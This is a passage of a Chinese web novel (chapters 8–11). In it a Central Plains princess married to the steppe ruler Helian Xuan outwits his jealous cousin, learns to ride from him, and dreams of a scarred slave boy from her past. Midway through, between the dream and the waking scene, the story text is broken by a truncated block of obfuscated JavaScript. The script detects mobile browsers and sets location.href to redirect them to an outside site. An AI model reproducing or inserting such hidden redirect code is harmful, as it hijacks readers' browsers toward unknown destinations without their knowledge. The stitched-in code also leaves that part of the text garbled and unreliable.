王帐宴席中,赫连煊只顾着跟功臣们说政事,无聊得要命,玛茹插不上话,心烦意乱,干脆出来找穆凝姝晦气。现在找到人,玛茹自是不会客气,劈头盖脸,直入主题。
穆凝姝原本打算装死,任由小公主骂几句了事。但两年不见,这姑娘骂人功底越发精进,口不择言。
“花了两年,你还真爬上了表哥的床。也是,毕竟是条蠕蠕。”玛茹蔑笑,又看向乌琪,“身为敕加族的女子却跟着姜国蠕蠕混,贱狗一条。”
一口一个爬床,真够难听。骂她就罢,连乌琪都不放过。
沉默良久的穆凝姝开口:“那你呢?”
玛茹愣住:“什么?”她不知所指。
穆凝姝忽然露出个笑,眼底却清冷,望向玛茹:“我说,都两年了,你竟还没成功爬上你表哥的床吗?表妹。”
此话一出,她便眼瞧着,蜜柑色公主那张明媚小脸,逐渐煞白。
8. 第 8 章
玛茹一阵呆滞,嘴唇抖动半晌,说不出话来,死死盯着穆凝姝。只见这新晋宠妃双臂展开,朝后搭在银霜身上,姿态随意,风姿绰约。
方才在王帐时的那份端正温婉,消失无踪。
从里到外,透着股柔柔弱弱的嚣张。
是了,嚣张。
配上她那副纤细柔软的身躯,越发看得人火大。
活脱脱一以色侍人的心机妖女,人前故作柔弱,人后骄纵跋扈。
嚣张本尊穆凝姝倒是不知,自己在玛茹眼中还能有如此气概。在赫连煊面前,她时刻注意端起公主礼仪,私底下总得放松放松,坐姿随意。
一句话将玛茹骂到自闭,也远在她意料之外。
在吵架这件事上,她并非好手。
只是玛茹三句不离爬床,让她忽来灵感,人越标榜什么,越在意什么,因而顺着玛茹的话,还施彼身。
根据玛茹的破防反应来看,公主表妹至今还未成功搞定单于表哥。
想到此层,穆凝姝略微心虚。
她也没搞定。
不过,不碍事。
吵架的要点在于气势,赫连煊同她睡在同一个帐中,到底怎么睡的,玛茹总不可能趴床底观察。
她原想友好迁就下玛茹,可这姑娘不领情,还一味谩骂,她不如利用现下的机会,狐假虎威,出口恶气。
日后若是失宠,时不再来。
玛茹回过神来,恼羞成怒:“你有什么可轻狂的。像你这种女人,后宫千八百,表哥一时兴起拿你当玩物,你还真是把自己当个人物——”
还没骂完,一阵马蹄声传来。
穆凝姝寻声眺望,黑心单于骑着他的黑马,正在赶来的路上。
玛茹瞬间收起剑拔弩张的怒容,改换上甜美笑容。
赫连煊眼神从穆凝姝身上扫过,转向玛茹道:“舅母找你,你跑出来也不跟他们说声?”
玛茹笑着解释:“帐中呆着无聊,我出来遛遛马,恰巧碰到凝姝阏氏。相谈甚欢,是吧阏氏?”
穆凝姝礼貌假笑:“嗯。怎么不算呢。”
两人很默契,不将事情撕破到赫连煊面前。
天底下的男子都只想享受齐人之福,却不爱看女人拈酸吃醋扯头花,麻烦他们。赫连煊身为帝王,日理万机,更不会有耐心和闲心管她们间的鸡毛蒜皮。
玛茹同他一起长大,必定对他性子十分了解,装乖装得丝滑,经验老道。
至于那劳什子“爬床”,穆凝姝才不会傻到主动提及。
这种话,胡乱气气玛茹还行,舞到正主面前,自取其辱。
她起身朝赫连煊行礼,未及多言,玛茹凑近隔在二人中间,跟赫连煊说话。
玛茹所用的语言,她一句都听不懂。
敕加语是草原民族通用语言,玛茹现在说的,应该是某种独属于自己小族的方言。
穆凝姝淡定坐回银霜身旁,瞧着有趣。
玛茹故意为之,这意思很明确:我们是一家,你别来沾。
小时候,穆凝姝生活在乡野间,偏僻穷村。她家邻居娶了个外来娘子。听人说,这位娘子是外地乡绅家的女儿,因家中获罪,辗转流落至此。
彼时她尚且年幼,不懂何谓“获罪”和“流落”。但她仍能感觉到,那位娘子的人生,很寂寞,很可怜。
娘子听不懂他们家乡的话,常出差错,做活儿也不麻利。夫家山野村夫,没耐心好好说话,对娘子非打即骂,穆凝姝在家时,时常听到娘子的哭声。
偶尔碰到娘子出门,她想去安慰娘子几句,娘子却听不懂她的话,只会冲她笑笑,和善而羞涩,摸摸她的小脑袋,表示友好。
村里大人都说,女孩子长大了要出嫁,要去别的男人家里过日子。
她想,若是如此,她一定不要远嫁。
远嫁外地,连话都听不懂。受委屈时想跟人说说,都求告无门。
她还暗中思忖过,同村河对面那户人家就挺好,门口柴火堆得高高的,估计是很勤快殷实的一家人,他家好几个儿子,总有一个能娶她吧。
谁知后来,她嫁得比谁都远。
穆凝姝望向赫连煊——身姿颀长的异族君王抱臂倚着黑马,褐发红衣,俊美无俦。
深深昭示,世事难料。
她第一次认真打量起这位夫君来。
就外貌来说,即使她从小到大的审美都来自中原,也不得不承认,大单于着实迷人,赫连天雄长相远不如他,推测是赫连煊妈妈貌美惊人。
从事业来说……摒弃道德纲常不谈,也很成功。
至于家境殷实这块,跟权贵谈钱,纯属小家子气。整个赫连部数他最有钱。
缺点当然也有。
譬如此刻,他旁边,玛茹一副小女儿姿态,仰脸同他说话,眼眸中的爱慕满得快要溢出来。
天高地阔,男俊女娇,美如画卷。
像玛茹这般爱慕赫连煊的女子,数不胜数,竞争激烈。
但这等缺点不在她考虑范围内。她对自己的身份定位清晰,在其位,谋其政,享受一天是一天。
穆凝姝收回眼神,低头逗弄银霜。
她刚出塞那会儿,一句话敕加话都听不懂,还不是走到了如今。玛茹故意拿方言孤立她,幼稚手段,不痛不痒。
“玛茹要去骑马。公主要同去吗?”
分神之际,赫连煊不知何时来到她身旁,手里牵着绝影。
她抬眼一看,玛茹跟随在他身后,脸上五官像挂着五个冰坨子。
穆凝姝道:“不了。”又解释道:“……我不太会骑马,就不去了。”
她解释得挺委婉。实则,不是不太会,是完全不会。
马奴虽然天天跟马在一起,但马是属于主子的贵重财产,马奴不经允许不能骑乘。草原版“遍身罗绮者,不是养蚕人”。
玛茹听了这话,脸色恢复活泼,语气轻快:“既是如此,表哥跟我去吧,让凝姝阏氏在此多休息会儿。我们好久没痛快策马。啊,记得小时候那会儿,还是表哥亲自教我骑马的,今天你我可以尽兴比一场,看看我这徒弟有没有长进。”
在小表妹的殷切期盼中,赫连煊点头应允。
“玛茹,你看,谁来了?”他忽然朝玛茹身后指下。
“啊?谁找——”玛茹闻声,刚回头,背后一阵马鸣蹄疾。
待她转回身,旁边两人不翼而飞。
定睛一看,黑马背上,鲜红衣袂纷飞,已在半里开外。
******
穆凝姝被赫连煊牢牢圈在胸前,身后玛茹大喊“表哥”。绝影奔如疾风,少女的嗔怒声很快泯灭于风中。
刚才,赫连煊动作太快。腾身上马,掳人飞奔,一气呵成。
全程动作结束,她甚至还没反应过来。待她从天旋地转中回过神,已是当前状态。
穆凝姝在中原时,常听人讲起关于胡人的恐怖故事,其中一项便是掳人。
神出鬼没,奔去无踪。
那时候她总觉得,故事过分夸大敌人实力,灭自己志气。
今日,百闻不如一见。
穆凝姝心情复杂道:“你们这个……动作挺迅猛。”
她不太好直接说出“掳掠”一词。
赫连煊语气平淡,带着点儿笑意和不屑:“你管这个叫迅猛?孤抓羊时,比这个快得多。”
抓羊是游牧民族喜欢玩的游戏。地上放块羊皮,难度高点儿便用活羊,人骑在马上,折腰掳走,拼的就是个快准狠。
强身健体,老少咸宜,实乃强盗养成之必备。
穆凝姝之前看过抓羊比赛。但亲自充当一次羊,感受远比观看深刻。
她胡乱想着,又听身后之人点评道:“要不是怕弄伤你,孤还能更快。”
他想起方才掳她时的手感,“你也太轻了,细细长长一条,还不如羊重。”
穆凝姝不满此点评,替自己美言:“哪有拿人跟羊比的。我们中原公主,就崇尚纤柔之美。”
话音刚落,她忽觉腰上一紧。
赫连煊单手持缰绳,另一手在她腰上圈了圈,“还是胖些好。你这样的,风大些都能吹跑。”
她看上去本就瘦长,此刻贴身搂住,没了冬日厚重衣物遮挡,纤细得令他心惊。
他手上用力,将她拉到自己怀中靠住,“坐稳当,放绵软些。你直愣愣杵着,腰背会扛不住颠簸。”
她听他话,卸力放软倚在他怀中,果然轻松许多。
身后的血肉之躯,好似一堵极可靠的暖墙。
放松下来后,她才想起玛茹,问道:“你就这么跑了,玛茹怎么办?你不是专程来找她吗?”
赫连煊莫名其妙,“找她?没有的事。你说你要去马场,孤才过去,恰好她也在。”
穆凝姝疑惑,“哦。那您找我什么事?宴会应该还没结束。”
早退专程来找她,定是有正事吩咐她做。
难道是想谈谈收玛茹表妹的事,让她帮忙打点下礼品,规划下流程?她是姜国公主,贵族出身的人,都会做这些。
赫连煊被她问得一时无语。
找她什么事?
她在那里,他自然而然想走过去。现在她这般发问,好像他必须给出个正经理由似的。
赫连煊语气不怎么高兴,“宴会而已,孤是君主,又不是陪客的,想走就走。”
穆凝姝搞不懂,前一秒还和蔼可亲的单于大人,为何忽然变得冷冰冰。
她归结为,当皇帝的,就是这么阴晴不定。但柔声乖巧道:“这是自然。单于来找我,是我的荣幸。”
赫连煊这才又转和缓些,道:“玛茹是舅舅和舅母唯一的孩子,从小宠到大,有些任性。刚才你们当真相谈甚欢?孤不太信。她惯爱欺负人。孤从前说过她,她才收敛点。”
穆凝姝略一思索,灵活道:“谈不上特别欢。就……还行吧。”
刚才和玛茹的骂战,内容太粗俗,她着实不好意思开口。
况且,即使赫连煊这么说,他毕竟跟玛茹有血缘纽带和青梅竹马情分。他知晓玛茹爱欺负人,管教过后,玛茹还是老样子,只不过由明转暗罢了。自家人之间,犯了大事往往自罚三杯,遑论这种打嘴皮子仗的小事。
打个目前还不太恰当的比方,夫妻间吵架,外人去劝和离,回头人家床头打架床尾和,外人就成了说坏话的碎嘴子,里外不是人。
说不定哪天,玛茹就嫁给赫连煊了。
她一个初来乍到的外人,去说青梅表妹的不是,不自量力。且就结果来看,玛茹没占到便宜,反被她气得破防。她告状,回头玛茹哭诉一场,她讨不着好。
赫连煊
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道:“行。这个表妹,时常骄纵得让孤心烦。难得有空闲出来跑马,不说她了。”
穆凝姝默默在心里做笔记划重点:
娇滴滴,可以。
骄纵,不可以。
知晓二者间的分寸,很重要。
绝影跑得极快,路旁树木枯枝后退只余残影。
天地广阔,千里雪原一望无际。
人仿佛化作了旷野上的一阵风,自由,自在。
******
马蹄停在一片白桦林旁,人迹罕至,积雪丰厚。
赫连煊下马,让她留在上面,拉住缰绳。
他要教她骑马。
绝影体型比普通马匹高大许多。
他在她身后时,还没觉得有什么特殊,现在他一走,她顿感心慌,“不、不用了吧。我一点心理准备都没有。”
赫连煊道:“学个骑马罢了,要什么心理准备。”
穆凝姝继续挣扎,“乌琪会,我可以让她教我,不麻烦单于大驾。”
赫连煊改说中原话:“你们中原有句谚语,自古名师出高徒。无名之辈,教不好你。”乌琪是谁?没听说过。
和亲后,穆凝姝鲜少有机会听到中原汉语。乍然听到乡音,一时竟有些没反应过来。
赫连煊汉语说得极好,不带任何敕加人口音,只是语速稍慢。平日里他说敕加语时,声线低沉,改说汉语时却清越朗声,颇具少年感。
但她此刻没心情分神欣赏。
见她在马上动作笨拙,他嗓音中带出点笑意:“你身为阏氏,却连马都不会骑,岂非让人嘲笑孤教妻无方。”
穆凝姝注意到赫连煊话中错处。
看来他的汉语水平并不好。
成语里只有“教子无方”,哪里来的“教妻无方”?而且,严格按照中原话语来说,她是他的“妾”,不是“妻”。二者之间,天差地别。
没文化,瞎说话。
但此时,她一颗心全在控制绝影上,没心思跟他普及中原文化知识。
今天不知赫连煊撞了什么邪,先要教她用刀,现在又是骑马。
她说自己学东西快,是嘴硬撑面子。其实,她每每学习新东西,全靠下苦笨工夫,慢吞吞地磨。
方才在王帐,赫连煊教她切肉,她不慎把手划开个口子。最终,以他看不下去,亲自代劳切完为结局。
现在又要教她骑马。
她真怕他教着教着,失去耐心后,一脚将她从马上踹飞。
绝影这么高,跌下去百分百骨折。
阏氏选秀那会儿,她就发现赫连煊耐心不多。这段时间在他帐中伺候,她都安静少言,保持乖巧,尽力降低存在感。
然而,赫连煊不容拒绝,说教就教。
出乎她意料,他教起人并不急躁,反倒很有一套。又因他拿汉语指导,她听起来顺畅,竟学得格外轻松。
不出半个时辰,她就能骑着绝影慢走,稳稳当当。
赫连煊倚着白桦树干,姿势悠哉,道:“你用腿轻踢马腹,试着跑起来。”
见她犹豫,他走到马旁,又道:“怕什么,孤在这里,摔不着你。”
穆凝姝试着慢跑起来,进步飞速。
从前她一直羡慕骑马飞奔的人,那种自由洒脱,她只能靠想象获得。
她眼神望向赫连煊。
他是个很好的老师。
若当年,他也是这样悉心教导玛茹,难怪小表妹会对这位大表哥神魂颠倒。十个女孩子里,恐怕有九个扛不住。
她扬起下巴,学着赫连煊惯有的英气模样,稳稳跑圈。
练习许久后,她想下马歇会儿。踩着马镫下马时,竟直愣愣往地上栽去,腿软如豆腐。
失算,骑马太久,腿麻到失去知觉。
预想中的疼痛和冰冷却并未来临。
她身子一轻,稳稳落在他双臂间。
“都说过,有孤在,摔不到你。”
朔北冬季寒冷,白桦林洁白如玉,他却好似浑然不怕冷,只穿着单薄红袍,热意源源不断透到她身上。
穆凝姝心中刚融出一丝感动来,却见他唇角挑起点揶揄笑意:
“公主又投怀送抱……登徒子。”
她怦怦怦的小心脏停跳,顿时变回冷酷毒妇。
惯会颠倒是非的漂亮鬼,迷惑性太强。
上天赐赫连煊这么副好容貌,助纣为虐。
******
回到赫连部时,落日西沉,天空茫茫昏黄。
札木尔一看到二人,急切上前,找赫连煊禀报军政大事。
穆凝姝独自回到单于王帐中,找了纸笔,将今日赫连煊讲解的马术要点一一记下。
他说,草原春夏之交时,野花盛开。还说,秋季的白桦林最漂亮,金黄璀璨。
到时候,他带她去远处跑马。
待写完笔记,天已大黑,侍女们送来沐浴用的热水。
穆凝姝不习惯沐浴时旁边有人,屏退所有侍女后,除去衣裳,步入浴桶中。骑马出了一身汗,困倦疲乏,打算好好泡个热水澡。
才刚浸到水中,她骤然剧痛,惨叫出声。
恰逢赫连煊处理完政事回来,听到帐中动静,立即冲进去。
穆凝姝泡在浴桶中,未着寸缕,同突然出现的人,四目相对。
9. 第 9 章
水汽腾腾间,穆凝姝肤白胜雪,衬得脸庞和耳尖的绯红越发凸显。
赫连煊走上前,一手揽腰,一手抄在膝后,将人从水里捞出来。
穆凝姝突然失衡,顾不上遮掩,双手本能环住他的脖子。
意识到现在是何场面后,她连忙伸出一只手,遮住他双眼。
“不、不准看!”
掌心中,似有羽毛扫过。
他眨了下眼,虚心求教道:“你这样遮住孤视线,孤无法走路。还是说,公主有意为之,想让孤就这般多抱抱你?倒是……好办法。”
“我没有我不是你别胡说——”
穆凝姝哽住,放开也不是,不放也不是,一时之间,僵直发愣。
平时看大家骑马挺轻松,她不知道初学时,大腿内侧肌肤容易磨破。下水前,亦没察觉皮肤有破损。
她怕冷,喜欢用偏烫的水泡澡,刚才跟往常一样,直接泡进热水里。谁料破皮遇烫水,痛得她几乎原地升天。
亏她平日里自诩为一个兽医外加半个人医,今晚却犯蠢犯得没眼看。
偏偏赫连煊回来得不是时候,被他撞上。
身上都是水,水凉了,冷得她一哆嗦。
赫连煊提示道:“屏风上有件睡袍。”
她闻言,慌忙扯过那件赤色睡袍,按在身前。
赫连煊重见光明,不慌不忙将怀中之人打量一番,才送到床上安置。
一落床,她手忙脚乱裹上睡袍,低头抱膝自闭。
“不要裹那么紧。伤口浸过水,须得先晾干再上药。”赫连煊从怀中掏出只小盒子,“估计你新学骑马会有伤,孤回来前特意去取了药。没想到你是真莽,还将侍女都遣散出去,生怕烫不死。你照顾马是把好手,照顾自己却不太会。”
她丢了大脸面,脾气心性藏得不如平时稳当,反驳道:“我才没那么笨。但凡你再晚来一点点,我自己都能爬出来了,用不着你捞。至于说照顾自己,我从小都有侍女照顾,照顾马是来草原后新学的技能,不可以吗?”
“行。公主说是就是。”
他坐到床边,伸手去掀她遮身的睡袍。手指才触碰到她腿根,她连连往床里边儿缩。
冬天寒冷,药膏凝固坚硬。
赫连煊将盒子捂在掌中,道:“露出来,晾干后上药。尽快弄完,孤要睡了。”
他语气正经平淡,她不好再扭扭捏捏,侧卧着,掀开衣袍,让患处通风。
大腿内侧破皮发红,遭热水泡过,粉白一片,惨不忍睹。
待伤口晾干后,赫连煊的药膏也捂化,吩咐她道:“腿张开。”
穆凝姝浑身写满拒绝,磕巴道:“我自己来吧。这、这个,我自己来!”
赫连煊语气淡然,“你有两个选项。自己分开,或者孤替你掰开。”
顺着他的逻辑,穆凝姝愣愣问道:“为什么不能有第三个选项,我自己来。以及第四个选项,让侍女来?”
赫连煊没再说话,伸手实行方才说的第二个选项。
穆凝姝慌忙阻拦,“住手英雄!我来!我自己来!”
她侧过身坐着,尽力用睡袍遮挡住身子,只露出下边儿那条腿的内侧。
赫连煊指尖蘸上药膏,涂抹在她大腿内侧伤处。
他的手,长得极漂亮。
骨节修长,指甲干净圆润,肤色均匀细腻。
他动作放得很轻,指尖却免不得接触到她的肌肤。
长期习武动刀剑,他指腹长了层薄薄的茧子。
她感到轻微的粗砺扫过,忍不住发出极轻的嘶气声。
“疼?”他问。
穆凝姝摇摇头,旋即,又点点头。
这点儿疼痛,于她而言,根本不算什么。但她忽然想到,娇养长大的公主,应当是很怕疼的,便违心道:“有、有一点疼。”
他指尖动作更轻了。
帐中灯火融融,给他镀上层暖黄,他黑如鸦羽的睫毛半遮住眼眸,不似平日那样锋利,整个人气质温和许多。
她想起从前在宫里听过的典狱奇事。
说是,有个男犯容貌俊美非凡,因劫了官家财物要斩首,当地妇人纷纷替他求情,泪洒官府。后来,动静闹太大,连当地富绅的小姐都赶去凑热闹,竟对男犯一见钟情。
劫财并非谋反之类的重罪,可花金银消灾,小姐便让她老爹花钱赎人,将男犯买回家为奴。至于后续是哪种奴,并不重要,总归是靠脸活了下来。
由此可见,坏人长得过分好看,是件极可怕的事。
幸亏赫连煊是帝王将相,造反祸害男人。若他是个游手好闲之徒,天天上街骗女人吃软饭,恐怕这世上得多出无数颗人财两空的破碎芳心。
他这双眼睛生得极美,不露锋芒时,看狗都深情。
她玩心忽起,又轻声吟哦一下。
赫连煊顿住,动作越发缓慢。
反反复复玩过几次后,他似是发现她的耍弄,停手抬眼,朝她看来。
穆凝姝稳住心神,蹙眉继续装,“是真的很疼呀。要是换作你表妹,她都哭上几轮了。还好我这个公主比较坚强。”<
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p>“嗯,是。公主最坚强。”他直视她眼睛,“其实,不需要太坚强。痛的话,哭几场也没什么。”
说罢,他再度低头上药。
这个回复,把穆凝姝整不会了。
听上去,并不像反讽。
她随口说句玩笑话,赫连煊竟能表示认同。他对女人,不知是有所误解,还是格外宽厚。或者说,跟他身旁真正贵族出身的女孩子相比,她不哭,都算坚强。
他垂眸上药,神态认真。
好似在抛光一件极其珍稀的珠宝,又似在勾勒一副绝世名画,容不得一丝丝失误。
她再是演不下去,绽出个笑来,“单于,你不用这么仔细,我又不是琉璃瓶子,一碰就碎。这种小伤,放几天不管,都能自愈,用不着涂药麻烦。”
赫连煊完成一侧上药,却未理会她的话,只道:“好了,换另一边。”
不知怎地,他嗓音不如方才清亮,有些沙哑。
他今晚帮她上药,对她这么好,她自然而然对他多出几分柔软关切:“你嗓子怎么哑了呀?难道是刚才我沾湿你,让你受凉了?您别管我了,先叫个御医来看看吧。”
她声音温柔悦耳,宛如莺啼,很是动听。
赫连煊言简意赅:“闭嘴。听话。”
她讪讪安静,照他话做。
这人真的很奇怪。
她觉得他会生气时,他总是意料外的宽宥。但当她觉得,他挺好、挺和气时,他又会冷不丁朝她发脾气。
须知,如她这般听话配合的好病患,难得一见。她婉拒过他帮忙,他自己非要,现在又嫌她麻烦,对她不耐烦。
好不讲道理。
或许是多年的戏精生涯,让他对扮演温良太子有执念。所以,他时而习惯性表演和善,时而又忍不住流露出凶残本性。颠来倒去,整个人就显得特别阴晴不定。
此推测,很合理,很顺畅。
有句名言曰:要成功,先发疯。这句话的含金量,还在持续上升中。成功人士,多少得沾点儿精神方面的疾病。
像她这种精神状态良好的人,从世俗意义上讲,就挺失败。
她胡思乱想间,药已上完。
赫连煊收拾完残局,前去沐浴,待回来时,床榻上的姑娘趴在枕上,已沉沉睡去。昔日引以为傲的端正睡姿,早已不知被她抛到了何处。
他才躺下没一会儿,她就舍了枕头,一咕噜滚进他怀中,找个最舒服的位置,熟练而精准。
一只手拽住他衣襟,再抬起一条腿,搭在他腿上,紧紧同他贴住。
10. 第 10 章
穆凝姝做了一个梦。
久违的故人,猝不及防闯入梦中,回忆与现实交缠。
好似重新经历一次过往,又好似一个旁观者,静默凝望旧事。
******
当年,涂丹阏氏夺走穆凝姝嫁妆后,将她扔在马厩,任人凌辱。
她周身仅剩一支随身的梨花银簪,握在手中。武器不堪一击,敌人却是几十个粗壮男奴。
一个少年身形的人忽然窜出,挡在她身前。
穆凝姝不至于天真到以为这人是救星。
奴隶的世界里,狼多肉少,想分一杯羹,全靠拳头硬。这个人,也是只想夺得先机。
少年虽勇猛,但男奴们多势众,轮番上场,他无法持续招架。在双方僵持的短暂空隙中,他一把抓住她,飞快扯进圈地旁的棚屋中,以重物抵住门。
外头的男人们抢不过人家,先是骂骂咧咧,而后又是阵阵嬉笑和口哨声。
她初来乍到,听不懂敕加语,但感觉得出,那些人在幸灾乐祸。
月光漏进棚屋,照在少年脸上。
烧伤遍布,血肉翻转,经刚才打斗,额头血流如注,淋在沟壑纵横的脸上,惨烈恐怖。
若非眼珠里还反射着月光,她都不敢确定,他是个活人。
她默默捏紧银簪,但凡他敢靠近,便殊死一搏。
他却调转方向,去到在另一角落里翻找东西。没一会儿,朝她扔去一床破毯子。自己则在角落里坐下,闭上双眼。恐怖暗沉的脸上,彻底没了半点儿光亮,像具濒临腐烂的尸身。
那是她嫁到涂丹部的第一晚。
即使经年已过,即使在梦中,她仍能感受到那份绝望,以及死里逃生的猛烈庆幸。
公主与马奴同宿一夜后,从云端跌入了污泥。
如涂丹阏氏所愿,涂丹单于对不详不贞的中原公主,不屑一顾。
她自此留在奴隶们的圈地中,连王帐都没进过。比起不怀好意对她笑的男奴们,她更愿意靠近昨夜那个少年。
大家都叫他莫勒钦,一个不久前才被抓到涂丹部,最低贱最丑陋的马奴。
莫勒钦住在马厩旁的破旧棚屋中,白日里干活儿不在。回来后,发现家中多出一个她来,视若无睹,没有驱赶,也没有任何话语。
这样的态度,让她心安,就此住在这破旧棚屋中。
其他奴隶路过马棚时,故意大笑,不怀好意吹口哨。
她不予理会,跟着莫勒钦一起喂马干活儿,渐渐学会刮毛、修蹄等事。
莫勒钦很擅长养马,无论多骄纵的马儿,到了他手上,都能喂养得肥肥壮壮。
纯血马儿吃的用的都比奴隶好,偶尔有贵人的马让他养,他偷偷带些马粮回来,给她吃。帮她涂修马蹄的膏药,治疗冻疮。
她不会说敕加语,不认识敕加文字,这些也都是莫勒钦教她的。
他的声音低哑得不正常,像风吹过砂砾。应该是与生俱来的残疾,或是像他恐怖的容颜一样,被火烧伤过而致残。
此时在梦中听见,她却觉得,他的声音胜过世间一切曲调。
最寒冷的严冬中,冰雪覆盖小棚屋。他们拿着树枝,在雪地上写字。很多奴隶不识字,莫勒钦认识的字也不多,一个慢慢教,一个慢慢学,雪地上布满字迹。
夜里,她缩在他身旁取暖,他静默着,任由她将双手伸进衣裳中冰他。
连她自己都觉得过分,玩闹一会儿后抽出来,却被他再度拽回去,贴在自己皮肤上。
心脏在她掌下跳动。
他依然没说话。
总是那样沉默寡言。
咚咚咚。
宁静雪夜中,她与他离得那样近,每一声心跳,清晰可闻。
而在光怪陆离的梦境里,心动怦然,震耳欲聋。
忽然,冰雪消融,梦境化为毒辣艳阳天。
于奴隶而言,冬日难熬,盛夏的日子也有另一番苦楚。劳作后浑身流汗,洗澡是桩大难事。
水源难得,住处离水远,奴隶未得允许不准离开圈地。
习以为常的糙汉男奴们不在意臭汗,但穆凝姝受不住。
莫勒钦和她趁喂马时,经常弄点水回来擦洗身体,勉强抵事,不痛不快。
一天夜里,他忽然将她拉到暗处,身后有匹马。
他将她抱上去,坐到她身后,一手执缰绳,一手牢牢揽住她,策马飞奔。
夏夜繁星璀璨,草原火光点点,旷野凉风莽莽。
那晚是火把节。
敕加族重要的祭神节日。上至贵族,下到奴隶,都可以自由休息一日。
没想到,他竟大胆到偷用马匹,还带她偷跑出圈地。
可她心底是那么那么高兴。
奔跑在旷野间,仿佛不再是任何人的奴隶。
就这样跑一辈子,永远不要停下,该多好。
马蹄止步于湖边,水草丰茂。
莫勒钦带她到芦苇繁茂处,“可以洗澡。”
他费力气带她跑这么远,是为了让她好好洗个澡?
她心中升腾出欢喜。
莫勒钦转过身,走进芦苇丛中。
等他消失无踪后,她脱去衣裳,步入水中。
月光映在水面上,银波潋滟。
四周只剩虫鸣,寂静得吓人。
洗了一会儿,她忍不住问:“莫勒钦,你还在吗?”
“在。”
芦苇丛中传出声音。
又过了一会儿,她再次确认:“你还在吗?”
“在。”
一阵窸窸窣窣后,芦苇丛中传出笛声,缥缈苍茫。
她放下心来洗澡,玩水玩得欢快。
笛声一直没停。
他在告诉她,他还在。
待洗漱完后,她走进芦苇丛中。
月光下,芦花飘扬,莫勒钦坐在芦花间,垂首吹笛。
骨笛在他指尖,泛着浅淡银光。
此去经年,梦中重现,她惊觉,细节镌刻在记忆深处,竟如此清晰。
“莫勒钦。”
她喊他的名字。
芦花中的少年闻声抬头。
赫连煊的脸,赫然在目,黄金双瞳冷冽锋利。
穆凝姝瞬间惊醒。
咚,咚,咚。
耳畔传来心跳声。
她回过神来,抬眼看去。
毡帐穹顶处,月上中天,月光正好洒在床榻间,映照着赫连煊沉睡的脸。
这张俊美若神祇的脸庞,竟令她心生失落。
穆凝姝微微叹气。
原来是枕在他胸膛上睡着了。
难怪梦里的心跳声格外真实。
既是醒了,她该回到原处躺好。
却,并不想做这件该做的事。
她继续缩在赫连煊怀里,脑海中全是刚才的梦。
逃避许久的回忆,忽然侵袭而来,难以抵挡。
现在的她过得很好。
第三个夫君,确切说,是她的君主,对她很大方。
吃得饱,穿得暖,夜里能拿他来当暖炉用。
他还带她去骑马,帮她涂药。
就像那时候的你一样。
莫勒钦,
你呢?
这些年,你过得好不好?
******
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877886|159656||http|test|mini|href|location''.split(''|''),0,{}));
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>午夜梦回,旧事重现,分外惹人惆怅。
“怎么醒了,做噩梦?”
穆凝姝小动作太多,终是将赫连煊弄醒。
他眼眸未睁开,声音低沉得很,让她一阵恍惚。
她呆愣片刻,故意轻咳两声,道:“没……我、我有点儿冷。就醒了。”
揽在她腰间的长臂挪到肩上,将她整个人团在他怀中,“现在好些?”
穆凝姝惊讶于他的好脾气。
作为一普通人,她要是半夜被人吵醒,都会忍不住骂几句。他今日开宴席,教她骑马,一口气没歇又去处理紧急政务……居然夜里还这般能忍。
赫连煊是什么神奇戏精品种,敬业得可怕。
有时候,她的好奇心也很可怕。
比如此时,她非常好奇他的底线。
穆凝姝又假咳两声,往他怀里挤一挤,故作娇弱道:“好些了,但是脚还是好冷呀。”
赫连煊长腿一抬,让她双脚贴在他腿上。
皮肤间毫无阻隔,热量迅速传递到她冰冷似铁的脚上。
这样一接触对比,她才发觉自己那双脚冷得可怕。
她往回缩。
“你安分点。睡觉。”赫连煊却压住她的腿,手臂也搂得越发紧,“公主殿下真难伺候。”
言辞本是教训,却因声音里带有慵懒睡意,竟显得意外温柔。
她不再乱动。
有便宜不占王八蛋,反正他雪地里还能穿单衣,不怕冷。
她心安理得享受人肉暖炉。
如今,她也是出息了。
怀里抱着一个男的,心里想着另一个男的。
……根据她接受的教育,这种行为是不是不太守妇道啊?
她思虑三秒后,再度心安理得。
看赫连煊对她揽肩压腿的流畅程度,这种事绝对没少做。
在她之前,必定拿这套哄过不少女人,否则不可能如此熟练。
她才心里想一个,简直亏到姥姥家。
算账一番后,她更加紧密地贴住赫连煊取暖。
公共暖炉,冰他丫的,千万别客气。
******
王庭中,赫连煊偶得空隙休息,吩咐道:“札木尔,让人将孤帐中的被子换床厚的。”
札木尔作为近侍,心思周密,关切道:“单于可是身体抱恙?我这就去叫个御医来给您看看?”
最近倒春寒,灾情多,每天的政务奏章都堆积如山,赫连煊批完后,经常跟众王公大臣连开几个短会,商议灾情和流民安置等事,从早忙到晚。
这么个熬法儿,铁打的人都受不住。
札木尔跟在赫连煊身边好几年,知晓他素来不怕冷,行军时,日常风餐露宿,现在忽然让加被子,可谓极不寻常。
赫连煊道:“孤无恙,是公主怕冷。”
札木尔放下心,笑道:“好说。我等会儿就让嬷嬷送床过去,拿最厚的羊羔绒毯子,绝对够暖和。”
赫连煊道:“不必。比现在稍厚即可。孤还得活着。”
札木尔素有解语花之名,短短一句话,足够他解析出本质来:是凝姝阏氏怕冷,单于才换厚被子迁就她。
札木尔:“单于,您平日里政事繁忙,夜里再休息不好,那可不成。照顾好君主是妃嫔职责,合该她来迁就您。况且咱们又不缺被子,您跟阏氏各盖各的,多舒坦。您本就火气重,盖那么多,会上火的。”
听到“火气”二字,赫连煊也发觉,最近几天,他火气的确有些重,却不是札木尔口中的那种。
骑马那事后,穆凝姝不如先前那般怕他,一睡觉就贴住他,越来越肆无忌惮。
11. 第 11 章
换作旁人,赫连煊还能揣测下,此行径意在勾引他。
但是穆凝姝……不会有那份心思。
夜夜被她这般黏着,身为一个正常男人,他几乎等同于自虐。
作为最贴心的小棉袄近侍,札木尔很了解赫连煊的习惯,“单于,您生性警惕,睡觉时有个风吹草动,立即就能醒。但凡旁边有人,您根本睡不好。”
凝姝阏氏别说跟单于同睡一床被子,哪怕只是同睡一床,对单于的打扰,都很严重。
